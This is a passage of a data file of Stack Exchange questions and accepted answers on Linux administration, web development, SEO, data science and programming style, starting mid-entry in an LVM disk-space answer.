  6.7T  5.8T  529G  92% /home[root@localhost ~]# archx86_64as you see I assigned about 6.7T to /home via lvm but I can't use more than 6.3T ( difference of Used and Avail in df ) space.I would be glad if someone could help me.Thanks"  , "title": "Inappropriate used and available space in lvm and disk free"  , "tags": "partition;lvm;disk"  , "accepted_answer": "I think that the part of storage in lake in the Logical Volume, is the part reseved of root rescue, the 5% reserved for root for emergency situation, this part is 5% by default, it's set when its you create the file system.look, with dumpe2fs -h /dev/mapper/VolGroup-lv_home | grep -i reserved , will give you the amount of blok reserved, you multiply the value by the size of the block, and you will get the size in bits, you convert to Gb and you will find the lost space.to have the lost space back to 0% or 1% do this and print us the result of df after :tune2fs -m 1 /dev/mapper/VolGroup-lv_homeor , for freeing the total space reserved do this :tune2fs -m 0 /dev/mapper/VolGroup-lv_home"  } 
{  "id": "_webmaster.4148"  , "question": "I'd like to start putting ads on my site but I'm quite fussy about the way things look so I'd like to have attractive adverts that work as a feature of the website as opposed to the nasty garish ones you occasionally see out there.BuySellAds.com do what I'm looking for.  They don't accept your site unless it gets more than 100,000 hits per month so I can't use them.  The ads on http://net.tutsplus.com/ are the sort of thing I'm looking to include in my site.What are my options here? Which companies offer this kind of service?I would use AdSense but I don't like the look of the text ads, in-fact I know that I don't even read them if I see them. I do however spend a lot of my time looking at, and clicking on, the attractive image based ads you see on sites like smashing mag and freelance switch"  , "title": "Putting adverts on my website"  , "tags": "advertising"  , "accepted_answer": "Most people prefer text ads since they're less obtrusive and don't take up any significant bandwidth. But AdSense also offers graphic ads if I'm not mistaken.Your other option is to sell your ad space manually, which is what the tutsplus sites do. However, that's a network of very large sites that has plenty of ad space as well as traffic to sell. Not many people are going to be coming to you directly for purchasing ad space if you're getting less than 100k page views per month, unless you're the dominant site in some niche market."  } 
{  "id": "_datascience.20074"  , "question": "I am a college student(rising senior) and became interested in Natural Language Processing last semester. I decided to focus on studying this area this summer and become skilled in this area. I wanted to get some advice for studying this particular subject.Right now, I am taking Andrew Ng's Machine Learning course on Coursera to get a sense of how Machine Learning works. After finishing this course, I am planning to take Standford's CS224n NLP course on Youtube and do its class activities. I am assuming AWS and Tenserflow is also important since they are included as topics of CS224n.I want to know if my summer plan sounds reasonable. If not, could you please give me an advice of how to make a better plan. If this sounds reasonable, it would be great if you can add more or specify which part is particularly important in these areas."  , "title": "Please let me know if I am on the right track to being an NLP Expert"  , "tags": "machine learning;nlp;tensorflow"  , "accepted_answer": "You are definitely doing a great job of getting your basics down. I really like Patrick Winston's AI Course, he does a great job of conceptualizing the math behind these problems, which is the only place I think Ng lacks. Find a ton of papers you think are interesting, and read them top to bottom. Here is one from spotify on NLP(super awesome)Most importantly, IMO, the thing you need to start doing is applying the stuff you learn, to problems you think are interesting. Do a few run throughs of other stuff on github and then start doing your own!Good luck, hope that was helpful:)"  } 
{  "id": "_softwareengineering.212286"  , "question": "I'm trying use the PSR conventions in all my projects, but today I view some code of my co-worker and I disagree.if ($cond == 1 AND $cond == 2) {    // to-do}For me, the correct is:if (($cond == 1) AND ($cond == 2)) {    // to-do}What is the correct use of the PSR?"  , "title": "Multiple conditions in a function using PSR"  , "tags": "php;coding standards"  , "accepted_answer": "Per the PHP Framework Interop Group's PSR definitions, this particular case is not addressed:http://www.php-fig.org/psr/2/I don't see any guidance on the usage of logical operators as words, i.e. and, or, not, etc versus symbols, i.e. &&, ||, ! within boolean expressions.If I were to follow precedence and make my own extension of the above PSR reference, I could only conclude that the word AND should be written as and given the preference for lower case when using reserved words..."  } 
{  "id": "_webmaster.28248"  , "question": "We've been examining a number of different SEO tools recently. Several of these tell us that some of our page title's, urls and meta descriptions are too long. We've also been told that some of our pages have too many links on them.I guess our first question is - is any of that feedback true! Can URL's etc actually be too long and if so how much does this affect ranking?Secondly can you have too many links on a page and if so, how many is too many?"  , "title": "Length of Page Title, URL, Meta Description and total number of links on a page"  , "tags": "seo"  , "accepted_answer": "That feedback may be true. It also may not be true. If the person giving you the feedback didn't justify their criticism with why this is the case then they may not have any idea of what they're talking about. When someone tells you what's wrong with something but doesn't tell you how or why the criticism is useless. It also fails to establish the critic as a possible knowledgeable person on the topic. So the best I can do is give you some general guidelines pertaining to the above issues and you can then decide if they apply to or not.Meta descriptions, which are not used in your pages' rankings but may be shown in Google's search results when your pages are listed, does not have an official length requirement. However, since Google will only display so many characters in their search results you should try to limit your meta description content to meet that length. I think that content is about 160 characters in length but don't have anything official handy to back that up. (If someone can clarify this for me I would greatly appreciate it). So if your meta descriptions are too much longer then this length then you may want to consider shortening them. Definitely read up on Google's tips for meta descriptions.Page titles should accurately describe what a page is about. It should contain keywords that you want to rank well for but you do not want to stuff them in there needlessly and, besides looking spammy and stupid, hurt your chances of ranking well for exact match queries. So long titles are normal and can be good for SEO if done properly. But if all of your titles are very long you're probably doing something wrong like putting search engines ahead of users. Write natural page titles (like the title of a book) and don't stuff keywords into them. Definitely read up on Google's guidelines for page titles.URLs, like page titles, can be long naturally but usually are not. Good usability would dictate that you keep them short so users can more easily remember them and type them into their browser. But if you create slugs based on the title of your page, which is a good idea, a long page title will result in a long URL. Just like with titles, that's ok. Just keep in mind there are limits to how long URLs can be and if you exceed it you may run into some technical problems (which also may affect those pages' ability to be indexed).Too many links on a page is subjective. Google recommends Keep the links on a given page to a reasonable number. Basically why do you have so many links on a page? Is it a sitemap or table of contents? If so, then having a lot of links on a page is natural. If it's because you're linking to everything you possibly can for the sake of linking, then you're doing it wrong. Heavily cross-linking your internal pages is a good thing for SEO so definitely do so liberally but naturally and usefully. As far as external links go, linking to sites your citing or contain quality content is a good thing and may even help your rankings. A quality page probably will have several links these. But if you have a lot of links to external sites on lots of pages you may want to consider your guidelines for what pages deserve to be linked to and which do not. It's subjective so that's about as good as an answer as I can give. There is no hard number for links on a page either internal or external, but reasonable is a good guideline to go by."  } 
{  "id": "_vi.10263"  , "question": "Here is the command:vnoremap <C-S-S> :s/\\v([.!?])\\s+/\\1\\r\\r/g<CR>`<i<ESC>The command takes a text selection and divides it into sentences separated by new lines. Why would this work in gvim and not vim?"  , "title": "Why does this command work in gvim but not in (terminal) vim?"  , "tags": "gvim;visual mode"  } 
{  "id": "_softwareengineering.45856"  , "question": "I'm a student and in my spare time I'm working for a big enterprise as Java developer. The job is good, but the problem is, my boss writes very strange code. I don't want to complain, but some issues are in my opinion really strange. For example:he doesn't know any booleans. All boolean conditions are Strings called YesOrNo and then in the condition he uses if (YesOrNo == Yes)there are a lot of very strange characters in method names and variables like    or all loops are infinite loops in the style of for(;;). Then at the end of the loop the condition is tested and if the conditions is fulfilled break; is called.I don't know if I should tell him that I think this isn't a good practice, since he is my boss and decides how and what to do. On the other hand some of his examples are really very weird.Any hints how to cope with? And is this only me who thinks that's bad style?"  , "title": "How to tell your boss that his programming style is really bad?"  , "tags": "code quality;management;code reviews;communication"  , "accepted_answer": "Ask him to explain his code to youTell him you've never seen X programmed that way before, and ask him why he codes it that way. Show him the way you code it, and tell why you do it that way (best practices, better performance, less chance of errors, easier for other programmers to read/maintain, etc). Be sure to prepare all your arguments in advance, and focus on why your method is best instead of why his method is worst. Afterwards, see if he still supports his method over yours.If he is open to improvement, he will likely change his way of coding. If he still prefers to use his style of coding over yours, you are not likely to change his opinion."  } 
{  "id": "_datascience.6192"  , "question": "The intention of my project is to create customer profiles and it is related to advertisements. There are two types of activities: one is the advertisements that customers solely clicked on, and the other one is the advertisements that customers clicked on and purchase the product afterwards. I have lists of keywords describing the advertisements and those are the information for me to cluster customers in groups for creating customer profiles. I had a post about the second type of the activities before:I am trying to classify/cluster users profile but don't know how with my attributes  By logc 's suggestion, I used the sales amount of the product customer purchased to create the customers profile, such as customer #1234 purchased a bracelet for $20 and the bracelet has keywords: fashion, gold and accessories, here is the way to represent this customer as followed:I used the dataset like this to do the kmeans clustering after applying PCA and it worked well, but now I was told to add the information about the first activity about solely clicking, then I am lack of ideas of the algorithm. As there is no numeric meaning of those advertisements solely clicked on, I tried LDA by considering each customer as a document and combining all the keywords of advertisements customer clicked on or purchased about into this document. The result is more about topics other than customers. I also tried taking the keywords in activity one as the dummy variables and then combining this with the numeric variables of activity two to do the clustering. I can't tell whether it's good and I am thinking that whether the dummy variables part made the data very sparse,so that it wouldn't work well for Kmeans.The WSSSE of this upadated combination case is very large.   Any suggestions for my case?   Thanks a lot!   "  , "title": "algorithm and validation ideas of customers profiling (kmeans clustering)"  , "tags": "clustering;algorithms;k means"  } 
{  "id": "_unix.147400"  , "question": "Update #1:I just gave an extra layer of testing, writing a shell script (.sh, #!/bin/bash) and a php script to be executed by php's cli.Bash works.It seems that it's not the Apache's HTTP context, but PHP itself that is causing the problems. Because a simple php raider.php run from root's shell has the same 2 problems mentioned originally.I am building an appliance that has an WebOS on top of. WebOS is being hosted with Apache running as http:http. Since WebOS needs access to OS (root), sudoers are set up - to allow http ALL with NOPASSWD. Please don't educate about processes being run as root - the environment is controlled, and has been working for 2 years now with over 40 units shipped and no problems reported.Commands are run by php (mod_php5 for Apache) with proc_open from a HTTP request context.Every command seems to be working fine, except for mdadm --create. When I attempt to create an array there are random outcomes depending on the RAID level I have chosen to make.Previously I've had a namespacing problem, but that's not the case anymore. The problem started to appear after some OS updates (don't know when exactly, this is the old version of the WebOS that isn't working and had to be brought up as of recent and, apparently, needs to be fixed - there is also a new version which works ok (it has a different command execution cycle)).I am using mdadm_udev initramfs hook to assemble RAID's upon start. I have left /etc/mdadm.conf empty, because mdadm_udev seems to assemble the RAID's properly based on their metadata. The only catch, though, is that when it assembles them, it names the raid based on <hostname>:<raidname>.Due to the catch above, I am using mdadm --create /dev/md/<hostname>:stoneshare ..., which seems to be running fine from CLI no matter what's the user (non-root users run as sudo and succeed), the problems come when ran through HTTP context.Scenario #1, RAID0:<?php$command = sprintf('sudo mdadm --create /dev/md/%s:stoneshare --level 0 --raid-devices 2 /dev/sdb1 /dev/sdc1');proc_open($command, /* ... */, /* ... */);RAID gets created, but, where CLI makes the RAID on /dev/md127 and symlinks to /dev/md/<hostname>:<sharename>, by running the above script, I end up with /dev/md127 with no link:[root@stone ~]# mdadm --detail --scanARRAY /dev/md127 metadata=1.2 name=stone:stoneshare UUID=7329e458:96be442a:84f616d8:fd4ba42e[root@stone ~]# ls -la /dev/md*brw-rw---- 1 root disk 9, 127 Jul 30 11:48 /dev/md127Scenario #2, RAID1:<?php$command = sprintf('sudo mdadm --create /dev/md/%s:stoneshare --level 1 --assume-clean --raid-devices 2 /dev/sdb1 /dev/sdc1');proc_open($command, /* ... */, /* ... */);Check:[root@stone ~]# mdadm --detail --scanARRAY /dev/md/stone:stoneshare metadata=1.2 name=stone:stoneshare UUID=7329e458:96be442a:84f616d8:fd4ba42e[root@stone ~]# ls -la /dev/md*brw-rw---- 1 root disk 9, 127 Jul 30 11:48 /dev/md127/dev/md:total 0drwxr-xr-x  2 root root   60 Jul 30 12:17 .drwxr-xr-x 19 root root 3080 Jul 30 12:17 ..lrwxrwxrwx  1 root root   10 Jul 30 12:17 stone:stoneshare -> /dev/md127Weirdly, but the symlink is created, there is a different problem though - upon RAID's creation, randomly either /dev/sdb1 or /dev/sdc1 is automatically marked as faulty. The RAID gets created and started, but is running with 1 drive. Sometimes neither of the drives is marked faulty and RAID is created with no problems at all.I have handpicked, what I found as relevant information for the device failure:[root@stone ~]# journalctl -xbJul 30 11:39:43 stone kernel: md: bind<sdb1>Jul 30 11:39:43 stone kernel: md: bind<sdc1>Jul 30 11:39:43 stone kernel: md/raid1:md127: active with 2 out of 2 mirrorsJul 30 11:39:43 stone kernel: created bitmap (8 pages) for device md127Jul 30 11:39:43 stone kernel: md127: bitmap initialized from disk: read 1 pages, set 14903 of 14903 bitsJul 30 11:39:43 stone kernel: md127: detected capacity change from 0 to 1000068874240Jul 30 11:39:43 stone kernel:  md127: unknown partition tableJul 30 11:39:43 stone systemd[1]: Starting MD array monitor...Jul 30 11:39:43 stone systemd[1]: About to execute: /usr/lib/systemd/scripts/mdadm_env.shJul 30 11:39:43 stone systemd[1]: Forked /usr/lib/systemd/scripts/mdadm_env.sh as 457Jul 30 11:39:43 stone systemd[1]: mdmonitor.service changed failed -> start-preJul 30 11:39:43 stone systemd[457]: Executing: /usr/lib/systemd/scripts/mdadm_env.shJul 30 11:39:43 stone systemd[457]: Failed at step EXEC spawning /usr/lib/systemd/scripts/mdadm_env.sh: No such file or directoryJul 30 11:39:43 stone systemd[1]: Received SIGCHLD from PID 457 ((m_env.sh)).Jul 30 11:39:43 stone systemd[1]: Child 457 ((m_env.sh)) died (code=exited, status=203/EXEC)Jul 30 11:39:43 stone systemd[1]: Child 457 belongs to mdmonitor.serviceJul 30 11:39:43 stone systemd[1]: mdmonitor.service: control process exited, code=exited status=203Jul 30 11:39:43 stone systemd[1]: mdmonitor.service got final SIGCHLD for state start-preJul 30 11:39:43 stone systemd[1]: About to execute: /sbin/mdadm --monitor $MDADM_MONITOR_ARGSJul 30 11:39:43 stone systemd[1]: Forked /sbin/mdadm as 460Jul 30 11:39:43 stone systemd[1]: mdmonitor.service changed start-pre -> runningJul 30 11:39:43 stone systemd[1]: Job mdmonitor.service/start finished, result=doneJul 30 11:39:43 stone systemd[1]: Started MD array monitor.Jul 30 11:39:43 stone kernel: md: md127 still in use.Jul 30 11:39:43 stone kernel: md/raid1:md127: Disk failure on sdb1, disabling device.                              md/raid1:md127: Operation continuing on 1 devices.Jul 30 11:39:43 stone mdadm[460]: mdadm: No mail address or alert command - not monitoring.Jul 30 11:39:43 stone systemd[460]: Executing: /sbin/mdadm --monitor --scanJul 30 11:39:43 stone systemd[1]: Received SIGCHLD from PID 460 (mdadm).Jul 30 11:39:43 stone systemd[1]: Child 460 (mdadm) died (code=exited, status=1/FAILURE)Jul 30 11:39:43 stone systemd[1]: Child 460 belongs to mdmonitor.serviceJul 30 11:39:43 stone systemd[1]: mdmonitor.service: main process exited, code=exited, status=1/FAILUREJul 30 11:39:43 stone systemd[1]: mdmonitor.service changed running -> failedJul 30 11:39:43 stone systemd[1]: Unit mdmonitor.service entered failed state.Jul 30 11:39:43 stone systemd[1]: mdmonitor.service: cgroup is emptyJul 30 11:39:43 stone kernel: RAID1 conf printout:Jul 30 11:39:43 stone kernel:  --- wd:1 rd:2Jul 30 11:39:43 stone kernel:  disk 0, wo:1, o:0, dev:sdb1Jul 30 11:39:43 stone kernel:  disk 1, wo:0, o:1, dev:sdc1Jul 30 11:39:43 stone systemd[1]: Got disconnect on private connection.Jul 30 11:39:43 stone kernel: RAID1 conf printout:Jul 30 11:39:43 stone kernel:  --- wd:1 rd:2Jul 30 11:39:43 stone kernel:  disk 1, wo:0, o:1, dev:sdc1Jul 30 11:39:43 stone kernel: md: unbind<sdb1>Jul 30 11:39:43 stone kernel: md: export_rdev(sdb1)Thought, I doubt that mdmonitor is essential for creating the RAID.Both RAID's are perfectly assembled when ran from CLI, no problems encountered. Drives, per S.M.A.R.T. are healthy.The UUID's in reality are not equal, I just made the examples up out of a single RAID.What am I doing wrong here, that is causing such inconsistencies?"  , "title": "mdadm inconsistencies when run programmatically"  , "tags": "arch linux;sudo;php;mdadm"  } 
{  "id": "_softwareengineering.314062"  , "question": "I got following exercise:An algorithm takes 0.5 ms for input size 100. How large a problem can be solved in 1 min if the running time is the following:linearO (N log N) ...So the algorithm can process 100 items in 0.5 ms therefore 100*(2*1000*60) = 12 000 000 items processed for linear time.Now how to solve 12 000 000 = O(N log N) for N?N = 2^(12 000 000/N) And I'm stuck with how to eliminate the exponential N.Also the exercise goes on:Order the following functions by growth rate, and indicate which, if any, grow at the same rate.:N, square root of N, N^1.5, N^2 , N log N, N log log N, N log^2 N, N log (N^2), 2/N, 2N, 2N/2, 37,N^3, N^2 log N As I don't have any solutions as reference here is mine:2/N < sqrt(N) < 37< N=2N/2 < 2N < N log log N < N log N < N log (N^2) < N log^2 (N) < N^1.5 < N^2 < N^2 log N Would be cool if someone could have look at it and correct me where i might be wrong."  , "title": "How to solve O (N log N) and more"  , "tags": "complexity"  } 
{  "id": "_unix.225617"  , "question": "Newbie here:I visited a friend's firm yesterday where they exclusively use Linux and one of the things that they implemented is that everyone's actual desktop / machine (they are a team of 20 people) are at some remote data-center and on their office PC they merely logon to their desktops and can view their environments as if they are working off a local PC. It wasn't like Windows' Remote Desktop (which essentially pops up a window on one desktop that shows a different PC's desktop), but in their entire desktop itself appears for the first time after log in as if it was always there (but really it resides at the remote location). What is this concept called?They were using a variety of Linux, but mostly Red Hat. "  , "title": "desktop at a remote location"  , "tags": "remote desktop"  , "accepted_answer": "This is VDI, as larsks noted - the bits on the local desk can be either thin clients or full-fledged desktop machines."  } 
{  "id": "_scicomp.11531"  , "question": "I know the Neumann B.C. is implicit in FEM language. However, I have seen at least two ways to impose Dirichlet B.C.e.g. for the following problem 1D,$$\\nabla^2 u + \\nabla u= 0, u_{left}= 1, u_{right}=0$$1) set first and last row of assembled A to 0 at left hand side, set A(1,1)=1,A(end,end)=1, and specify the boundary value 1 and 0 in right hand side vector b.2) set first row&column, last row&column of assembled A to 0 at left hand side, then do the same thing as above.these two methods are different, the first is more intuitive(probably preferred by finite difference user), while the second sounds more rigorous because we are setting the boundary element.I know these two ways may generate different results for some specific case. Could any body give some insight?"  , "title": "FEM: which is the correct way to impose Dirichlet B.C"  , "tags": "finite element;finite difference;numerical analysis"  } 
{  "id": "_codereview.44467"  , "question": "I am trying to create an AngularJS directive that will give information to the user about the text they are inputting such as the number of characters they must or may enter and so on and so forth.To cut a long story short, I would be very grateful if someone could help me improve the javascript code for my directives. As of now the only thing the directives do is provide the user with the number of characters in the textarea.Code is hosted on Github and located in this repository.Here are my directives:'use strict';angular.module('myApp.directives', [])    .directive('enhanced', function () {        return {            restrict: 'A',            controller: 'enhancedCtrl',            scope: {},            transclude: true,            template: '<div ng-transclude></div>'        };    })    .controller('enhancedCtrl', ['$scope', function ($scope) {        var info = function () {            var size = 0;            return {                getSize: function () {                    return size;                },                setSize: function (newSize) {                    size = newSize;                }            };        }();        var callback;        this.registerSizeChangedCallback = function (callback) {            this.callback = callback;        };        this.notifyObserver = function () {            this.callback();        };        this.setSize = function (size) {            info.setSize(size);            this.notifyObserver();        };        this.getSize = function () {            return info.getSize();        };    }])    .directive('enhancedTextarea', function () {        return {            restrict: 'A',            require: '^enhanced',            scope: true,            replace: true,            template: '<textarea></textarea>',            link: function ($scope, $element, $attrs, enhancedCtrl) {                $scope.$watch($attrs.ngModel, function (newVal) {                   enhancedCtrl.setSize(newVal.length);                });            }        };    })    .directive('notice', function () {        return {            restrict: 'A',            require: '^enhanced',            replace: true,            scope: {},            template: '<div>{{size}} characters</div>',            link: function ($scope, $element, $attrs, enhancedCtrl) {                enhancedCtrl.registerSizeChangedCallback(function () {                    $scope.size = enhancedCtrl.getSize();                });            }        };    });And my html:<!doctype html><html lang=en ng-app=myApp><head>    <meta charset=utf-8>    <title>My AngularJS App</title>    <link rel=stylesheet href=css/app.css/></head><body><div ng-controller=myCtrl>    <div enhanced>        <div enhanced-textarea ng-model=text></div>        <h3>{{text}}</h3>        <div notice></div>    </div></div><script src=lib/angular/angular.js></script><script src=js/directives.js></script><script src=js/controllers.js></script><script src=js/app.js></script></body></html>Can someone please provide feedback about both:My usage of the AngularJS frameworkMy usage of Javascriptedit: I have greatly changed the api of my directive since my original post. Please have a look at the following commit. I am looking for people willing to help me on this lone-directive open-source projet... Everyone welcome!"  , "title": "Building a set of AngularJS directives to provide the user information about their input"  , "tags": "javascript;angular.js"  } 
{  "id": "_codereview.129187"  , "question": "I am currently working with this code to automate some tasks for senior staff members that are not very adept in Excel. Wondering if VBA is simply not a very quick code or if my code is clunky and slow.For clarity, I would think with how simple this code is it could run in under a second or two. Maybe this is overzealous?Sub Paste()'---Paste Macro'---2016-05-23Dim sht1 As WorksheetDim sht2 As WorksheetDim LastRow As LongDim LastRow2 As LongDim LastColumn As LongDim StartCell1 As RangeDim StartCell2 As RangeDim rng1 As RangeDim rng2 As RangeSet sht1 = GetWSFromCodeName(Sheet10)Debug.Print sht1.NameSet sht2 = GetWSFromCodeName(Sheet8)Debug.Print sht2.NameSet StartCell1 = Range(A2)Set StartCell2 = Range(B2)'Find Last Row and Column  LastRow = sht1.Cells(sht1.Rows.Count, StartCell1.Column).End(xlUp).Row  LastColumn = sht1.Cells(StartCell1.Row, sht1.Columns.Count).End(xlToLeft).Column  LastRow2 = sht2.Cells(sht2.Rows.Count, StartCell1.Column).End(xlUp).Row'Select Range And Copy into Final Formula Sheet  sht1.Range(StartCell1, sht1.Cells(LastRow, LastColumn)).Copy Destination:=sht2.Cells(LastRow2 + 1, 2)'Convert Text in Column C of Final Formula Sheet to Numbers to Allow Advisor Code to Apply Set rng1 = Range(sht2.Cells(LastRow2, 3), sht2.Cells(LastRow2 + LastRow - 1, 3)) With rng1    .NumberFormat = 0    .Value = .Value    End With'Copy Advisor Function down to meet with new Pasted in Data    With sht2        Set rng2 = .Cells(LastRow2, 1)        End With    With rng2        .Copy Destination:=Range(sht2.Cells(LastRow2, 1), sht2.Cells(LastRow2 + LastRow - 1, 1))        End WithEnd Sub'---This Function allows the worksheet name to change in the workbook as it allows the    'user to set Worksheets to codename variables. By using this function the user can input a    'codename for a worksheet and the function will call the worksheet name of the corresponding    'codename, allowing the user to set worksheet variables to codenames without losing    'functionality usually associated with such variables.'---2016-05-23Public Function GetWSFromCodeName(CodeName As String) As Worksheet    Dim WS As Worksheet    For Each WS In ThisWorkbook.Worksheets        If StrComp(WS.CodeName, CodeName, vbTextCompare) = 0 Then            Set GetWSFromCodeName = WS            Exit Function        End If    Next WSEnd Function"  , "title": "Copy, Paste And Format"  , "tags": "performance;vba;excel"  , "accepted_answer": "The 3 lowest-hanging VBA performance fruit are:    Application.ScreenUpdating = False    Application.EnableEvents = False    Application.Calculation = xlManualJust make sure to restore them at the end of your sub, and/or if your method encounters an error and stops, else your senior people won't be able to use Excel afterwards and will blame you for breaking it.Used like so:Sub/Function ()    Application.ScreenUpdating = False    Application.EnableEvents = False    Application.Calculation = xlManual        < Code >    Application.ScreenUpdating = True    Application.EnableEvents = True    Application.Calculation = xlAutomatic '/ Assuming it was set to automatic to begin withEnd Sub/FunctionAnd with some (very basic) error handling:Sub/Function ()    On Error Goto CleanFail    Application.ScreenUpdating = False    Application.EnableEvents = False    Application.Calculation = xlManual        < Code >    Application.ScreenUpdating = True    Application.EnableEvents = True    Application.Calculation = xlAutomatic '/ Assuming it was set to automatic to begin withCleanExit:    Exit Sub/FunctionCleanFail:    '/ Resets the Application settings, *then* raises the error    On Error Goto 0    Application.ScreenUpdating = True    Application.EnableEvents = True    Application.Calculation = xlAutomatic '/ Assuming it was set to automatic to begin with    Err.Raise(Err.Number) '/ Or insert your own error handling hereEnd Sub/Function"  } 
{  "id": "_codereview.14174"  , "question": "I need some useful functions that faster than the original. (Original - C++'s functions)For example:#include <time.h>#include <stdio.h>#include <Windows.h>struct TestMemory {    double a,b,c;};void* __TestMemory__Sample=0;int WINAPI WinMain(HINSTANCE h1,HINSTANCE h2,LPSTR str,int i) {    AllocConsole();    __TestMemory__Sample=calloc(1,sizeof(TestMemory));    TestMemory* test=(TestMemory*)malloc(sizeof(TestMemory));    clock_t c1=clock(),c2;    for (int i=0;i<100000000;i++)       memcpy(test,__TestMemory__Sample,sizeof(TestMemory));    c1=clock()-c1;    c2=clock();    for (int i=0;i<100000000;i++)       memset(test,0,sizeof(TestMemory));    c2=clock()-c2;    printf(memcpy: %d\\nmemset: %d\\nradio: %f (set/cpy),c1,c2,c2/(float)c1);    getchar();}Output:memcpy: 1410memset: 3250radio: 2.304965 (set/cpy)This function replace the current way to zero memory.What it does:Create a global pointer, first set with zeroed memory.When you want to allocate zeroed memory, allocate memory with malloc and then copy the zeroed memory (global variable) to this memory."  , "title": "Zeroing memory on Windows"  , "tags": "performance;c;memory management;windows;winapi"  } 
{  "id": "_unix.263556"  , "question": "I have a router running uhttpd by default and there is a process using lighttpd I would like to run instead. Since both processes share the same port, I would like to kill uhttpd then start up lighttpd automatically (by setting up the script that contains the commands as a cron job that runs on reboot).When I run the commands I would like to go into the script individually, they work. When I put them in a script, I get an error message telling me the port number is in use. The commands are:killall uhttpd/etc/init.d/lighttpd startThe simple script I have so far is:#!/bin/shkillall uhttpdsleep 5 #To give the device time to release the port/etc/init.d/lighttpd start"  , "title": "How do I create a simple script to kill uhttpd and then start lighttpd?"  , "tags": "shell;router;lighttpd;uhttpd"  , "accepted_answer": "I would not wait for 5 seconds and hope that will work, you might wait too long, or too short. You can use nc -z to test whether the port is (still) being used and do the following (I assume they are fighting about port 80):#!/bin/bashfor i in $(seq 5); do  if ! nc -z localhost 80; then      break  fi  echo $i  sleep 1doneif nc -z localhost 80; then    killall -9 uhttpd    sleep 1fiif ! nc -z localhost 80; then    /etc/init.d/lighttpd startelse    echo 'port not free'fiIf after 5 times waiting the process is still not killed, kick it out with more force and only start lighttpd if the port is free. You should investigate if something is restarting uhttpd (e.g. the process that starts it in the first place). Maybe the sleep 5 you are using leaves enough time that it restarts (e.g. look at the uhttpd process number before you run your script and after)."  } 
{  "id": "_softwareengineering.238430"  , "question": "Is boxing of primitives required in OO languages to keep them consistent with the rest of the object system (generics etc.)?Or is it avoidable - is it possible to avoid any additional performance cost of having both primitives and objects in a language?One solution I can come up on the spot is having references big enough to store values of every possible primitive type.Are there other (better) solutions and are there implemented in popular languages?"  , "title": "Do you have to have boxing of primitives in OO language?"  , "tags": "object oriented;language design;boxing"  , "accepted_answer": "Because of the way processors are architected, you need boxing at some level in order to get both reasonable efficiency and a unified type model.  However, the boxing doesn't need to be manually specified by the programmer, and in some languages it is handled automatically behind the scenes for you.  Take Scala, for example.  Int is derived from an AnyVal, which is derived from an Any, which is Scala's top-level class.  Syntactically, you can treat it like any other object, but the compiler will treat it like a primitive in appropriate contexts, internally doing boxing and unboxing as necessary.  The point is, the programmer doesn't have to care.  Even nicer, in Scala this is implementing using implicits, so programmers can seamlessly implement their own custom automatic boxing and unboxing if the built-in ones aren't sufficient.  If you're not fortunate enough to be using a language like Scala, generics can obviate the need for manual boxing in many situations."  } 
{  "id": "_codereview.169870"  , "question": "This decorator adds the elapsed time to a function's attributes when applied.My concerns:Is the code pythonic?Could this code be useful?Should I just use the timeit module?Is the code easy to read and understand?The code:''':Date: 7/21/17:Version: 1:Authors:    - Ricky L Wilson'''import datetimedef time_func(function):   This decorator calculates the amount of time a function takes to execute.  When time_func is applied to a function it records how long the function takes to  finish and add the elapsed time to the functions attributes.  - **parameters**  :param function: The function you want to add the elapsed time attribute to.  :Example:  @time_func    def example(name, **kwargs):    meta = type(name, (object,), kwargs)    return meta  example('foo')  print example.elapsed  0:00:00.000052    def new_func(*args, **kwargs):    # Start the clock.    start = datetime.datetime.now()    # Execute the function and record the results.    function_result = function(*args, **kwargs)    # Calculate the elapsed time and add it to the function    # attributes.    new_func.elapsed = datetime.datetime.now() - start    # Returned the function with the added elapsed attribute     return function_result  return new_func"  , "title": "Decorator to measure execution time of a function"  , "tags": "python;python 2.7;meta programming;benchmarking"  } 
{  "id": "_softwareengineering.159160"  , "question": "I'm looking for some pointers on class design for a global application.Let's say I have to make a class structure  to manage products, and the products are sold in different countries.  Some of the fields for the product will have the same value across all countries (eg. product code, ERP Description) I will call these international fields, and some fields will be specific to a single country (eg. Local Description), lets call these local fields.  Of course, some local fields will be the same for groups of countries (es. weight : 1 kilogram / 2 pounds). Also I expect that not all countries will have values for all fields.Which fields are international and which fields are local may change from one installation to another and I am reluctant to bake this into the design as I'm sure it will bite me later on.So, I'm trying to figure out how to structure the objects so that I can use a product at an international level and always refer to the same product, but also maintain and use the local information when necessary?     Just to be clear, I'm not talking about user-locale, number or date formatting etc. The source data is coming from different database schemas (one for each country). The end product will be written in C#.I'm wondering if anyone has experience or can point me to a pattern that would provide a good solution to this before I go and reinvent the wheel?"  , "title": "Class design for internationalized object"  , "tags": "design;internationalization"  , "accepted_answer": "I assume you have a database of some sort. I'd create a factory class that creates the objects (e.g. Product) from the data in the database.Let's say your designing the Product class. It has some of your international fields:public class Product{    private string ean;}For internationalized things like weights  I'd write some structs Weight that allows you to set the unit (pounds, kilograms). Use one consistent unit of weight in your database (for example kilograms) and use that to create the object. Then code your ToString to return the value localized in the specified unit. This is similar to how DateTime can take a date/time in UTC and 'localized' it to the user's timezone.When there is no weight, use for example a weight of -1 and declare this as static readonly Weight None = new Weight(-1).public class Product{    private string ean;    private Weight weight;    private DateTime availableFrom;}public struct Weight{    private static readonly Weight None = new Weight(-1);    private int weightInKG;    public Weight(int weightInKG)    {        this.weightInKG = weightInKG;    }    public WeightUnit Unit    { get; set; }    public string ToString()    { /* Implement */ }}Then, if you have pieces of text that are localized (translated) then I'd just use strings. The factory class should get the appropriate localized string from the database. If there is no such string, use null.public class Product{    private string ean;    private Weight weight;    private DateTime availableFrom;    private string description;}Lastly, if you have information that is always used together localized (for example, specs for the product) then create a class Specs (or a hierarchy SpecsBase MonitorSpecs HardDiskSpecs if there are multiple kinds) for this. When there are none, use null. You can share these objects among multiple products if the information is the same. Again, the factory should take care of creating it.You can also use these objects for fields that might be international or local depending on the installation.public class Product{    private string ean;    private Weight weight;    private DateTime availableFrom;    private string description;    private Specs specs;}For all objects, override the ToString method to return the right (localized) strings."  } 
{  "id": "_webmaster.48683"  , "question": "Is it a problem to change the meta keywords dynamically depending on the content of the page / website?for example if it is a news website and this weeks top articles are about elephants in japan I would change the keywords accordingly, and when that article is less popular I would replace them with other key wordsTechnically I know it is not a problem. How do search engines treat this kind of behvaior? I know that if the keyword list is too long they can ban websites.. What about the rate of change for the keywords?"  , "title": "Dynamic Meta Keywords"  , "tags": "seo;search engines;meta keywords"  } 
